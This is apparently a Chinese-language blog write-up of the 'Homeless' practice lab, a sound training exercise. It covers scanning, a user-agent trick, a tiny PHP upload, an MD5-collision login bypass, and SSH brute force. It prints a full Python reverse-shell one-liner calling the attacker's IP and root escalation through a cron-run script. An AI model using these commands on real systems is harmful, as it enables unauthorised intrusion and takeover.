Homeless靶场笔记

30 篇文章 0 订阅
6 篇文章 0 订阅

加载开启镜像

在这里插入图片描述

查看本机的IP地址段,然后进行扫描发现主机

在这里插入图片描述

root@kali:~# nmap -p-  -A -O 192.168.195.134

扫描发现开放两个端口22、80,访问80发现是个demo,在网页中寻找信息

在这里插入图片描述

在这里插入图片描述

查看源代码未发现有效的信息,查看爬虫文件

在这里插入图片描述

在这里插入图片描述

先扫一波再说

使用工具https://github.com/maurosoria/dirsearch

在这里插入图片描述

并没有什么有用的信息,发现ua会原封不动的展示在回显,想到之前出题人提示rockyou,可能用字典爆破ua会有收获

在这里插入图片描述

在这里插入图片描述
操作一:爆破
进入/usr/share/wordlists/路径下kali自带的密码字典rockyou.txt.gz进行解压:gzip -d rockyou.txt.gz

在这里插入图片描述

只要ua里包括cyberdog就可以得到提示页面.

操作二:脑洞大开出奇迹
还有一种操作时发现网页隐藏了一个图片,打开后将标题输入ua就可得到提示!要我估计把头挠秃了也想不出来!!!
在这里插入图片描述
在这里插入图片描述

打开是个上传页面
在这里插入图片描述

经过上传测试发现,可以上传任何文件,但是文件内容不能超过8个字符。

在这里插入图片描述
在这里插入图片描述

此时可以用到php代码格式的小技巧

  1. php代码格式
PHP代码有下列几种格式,在此推荐使用第一种格式。
1、标准格式,以 <?php 开头,以 ?> 结束。例如:
<?php
    echo"welcome!";
?>

2、短标签,以 <? 开头,以 ?> 结束。例如:
<?
    print "Thisis a PHP example.";
?>
注:短标签的启用必须启用php.ini中的配置项short_open_tag。
使用短标签输出一段文字的话,还可以使用下列简介方式:
<?="This is a PHP example."; ?>

3、脚本。例如:
<script language="php">
    print "Thisis a PHP example.";
</script>

4、ASP风格,该风格在PHP5.3中不再支持。例如:
<%
    print "Thisis a PHP example.";
%>
注:ASP风格的启用必须启用php.ini中的配置项asp_tag。
<?="This is a PHP example."; ?>

相当于 <?php echo "This is a PHP example."; ?>

  1. php执行运算符
    链接:php执行运算符

经过测试,可以执行命令,但是仅局限于<=2个字符的命令,如ls、ps,发现下一步提示
在这里插入图片描述

在这里插入图片描述
发现新文件,访问测试
在这里插入图片描述
在这里插入图片描述

发现一个登陆页面
在这里插入图片描述

扫描发现备份文件
在这里插入图片描述

下载备份文件发现登录条件,需要满足字段username、password、code不能相等但其MD5
值必须相等。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

有个python工具可以生成N个MD5相同的文件,但是此工具仅可以在*unix上进行运行。

https://github.com/thereal1024/python-md5-collision

git clone https://github.com/thereal1024/python-md5-collision.git
另外需要安装依赖才能正确运行,需要root权限和python2/3 程序
apt-get update
apt-get install libboost-all-dev

在这里插入图片描述

在这里插入图片描述

Curl用法之--data-urlencode

5) --data-urlencode key=value

--data-urlencode参数等同于-d,发送 POST 请求的数据体,区别在于会自动将发送的数据进行 URL 编码。
先对数据进行URL编码,再发送给HTTP服务器,即对表单中的字段值进行URL编码后再发送。
为了兼容CGI,格式为“name+分隔符+content”,如下所示:

name=content,将content进行URL编码,然后提交给HTTP服务器
=content,同上,只是未给出引用的name
content,同上,注意content中不能包含=和@符号
name@filename,从文件filename中读取数据(包括换行符),将读取的数据进行URL编码,然后提交给HTTP服务器
@filename,同上

root@kali:/home/tools/python-md5-collision# curl --data-urlencode username@out_test_000.txt --data-urlencode password@out_test_001.txt --data-urlencode code@out_test_002.txt --data-urlencode "remember=1&login=Login" http://192.168.195.134/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i

-i参数打印出服务器回应的 HTTP 标头。

在这里插入图片描述
返回的请求头中有Session值,需要修改cookie进入admin.php,第二天了IP变了

在这里插入图片描述

在这里插入图片描述

发现是个命令执行页面,同时得到此机器的账户信息
在这里插入图片描述

在这里插入图片描述
使用python进行反弹shell
网站执行
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.195.128',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
在这里插入图片描述
攻击机执行:
nc -lvp 8888
在这里插入图片描述

Getshell进行信息搜集。发现/home/downfall用户目录下存在todo文件,查看该目录的其他文件发现隐藏文件,但没有权限。可以对此用户进行爆破,然后查看文件
在这里插入图片描述
在这里插入图片描述

靶场提示里有线索,以sec开头创造字典,前期信息搜集其ssh端口为22,进行爆破。

在这里插入图片描述
爆破成功得到密码secretlyinlove
在这里插入图片描述

登录进行信息搜集,得到提示需要取得root权限。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

经过分析发现,文件/lib/logs/homeless.py所有者为downfall,但是邮件里提到root用户会每隔一段时间运行此脚本。思路就是以downfall用户修改/lib/logs/homeless.py文件,饭后root用户会运行修改后的文件,以此反弹shell得到提升root权限。
在这里插入图片描述

在这里插入图片描述

此处为8888
在这里插入图片描述

get root shell ~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值